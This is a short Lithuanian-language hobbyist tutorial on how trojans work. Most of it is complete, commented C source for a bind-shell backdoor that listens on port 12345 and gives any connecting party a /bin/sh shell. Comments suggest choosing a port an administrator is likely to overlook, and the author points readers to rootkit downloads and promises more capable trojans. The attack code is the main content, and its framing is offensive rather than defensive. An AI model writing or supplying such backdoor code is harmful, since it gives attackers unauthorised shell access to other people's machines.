Kaip veikia trojanai Cia pabandysiu paiskinti kokiu principu veikia trojanai, kaip jie rasomi etc. Imkim ir panagrinekim paprasciausia trojana parasyta C kalba: #include <stdio.h> // iterpiamas standartinio I/O funkciju headeris #include <errno.h> // klaidu #include <signal.h%gt; //signalu. Nezinot kas tie signalai? Tai kaip jus naudojates kill programa? #include <stdlib.h> #include <netinet/in.h> // iterpemi visi headeriu failai reikalingi dirbti su tinklu, socket ir pan. #include <sys/types.h> #include <sys/socket.h> #include <strings.h> // darbui su eilutem // Nusirodyk koki tavo trojanas porta naudos, naudok koki standartini- gali lama adminas pamirses sumaisyt su kokiu ftp_data (20 portas) ar pan // Kitu atveju naudok koki kita porta kuris maziau stebimas #define P 12345 // ant prikolo imam netbus porta #define SH "/bin/sh" // nusirodai koki shella naudos tavo trojanas #define LISTN 5 int main(int argc, char **argv) { //pasveikinimo (welkome) zinute char *fst = "\nConnected!\n\n"; char *sec = "This tool demonstrated how works trojans\n"; char *thr = "Please enter each command followed by ';'\n"; int outsock, insock, sz; //soketu deskriptoriai, ir pagalbinis kintamasis, kuris saugos eiluciu dydi (size) //reikalingos dvi soketu sructuros (irasai) in ir out struct sockaddr_in home; struct sockaddr_in away; //set port, proto and bzero for BIND home.sin_family=AF_INET; home.sin_port=htons(P); // atkreipk demesi cia nurodomas taviskis portas home.sin_addr.s_addr=INADDR_ANY; bzero(&(home.sin_zero),8); signal(SIGCHLD,SIG_IGN); // pats idomumas prasideda if((outsock=socket(AF_INET,SOCK_STREAM,0))<0) // ar su soketais viskas ore exit(printf("Socket error\n")); if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0)) // ar bindina ore exit(printf("Bind error\n")); if((listen(outsock,LISTN))<0) //ar listina exit(printf("Listen error\n")); sz=sizeof(struct sockaddr_in); // jo cia tai tikrai strukturinis programavimas for(;;) // o rimciau tai amzinas ciklas { if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0) //laukiam isoriniu signalu, tuo paciu tikrinam ar nera klaidos exit(printf("Accept error")); if(fork() !=0) //jei sukuriam, dukterini (child) procesa { send(insock,fst,strlen(fst),0); // siunciam sveikinimo zinute send(insock,sec,strlen(sec),0); send(insock,thr,strlen(thr),0); dup2(insock,0); // nukreipem STDIN (file deskriptos=0) i soketa dup2(insock,1); // nukreipiam STDOUT (file deskriptos=1) i soketa dup2(insock,2); // nukreipiam STDERR (file deskriptos=2) i soketa execl(SH,SH,(char *)0); // paleidziam savo shella close(insock); // uzdarom soketa exit(0); // stai ir baigesi musu sudetingas trojanas. } close(insock); // jei nejo sukurt dukterinio proceso (ziureti fork() ) tai uzdarom ansyk soketa ie einam lauk. } } Stai taip atrodo pats elementariausias trojanas. O jus turbut manete, kad tai sudetinga. Siaip sis trojanas ira gan blogas. Jei norite gero trojano eikit i http://packetstorm.securify.com ir isten temkit r00tkit`a. Siuo metu as kaip tik apsistojes ties trojanu rasymu, kai parasysiu koki krutesni imesiu. Tad laukite. Kas sake kad lietuviai trojanu neraso?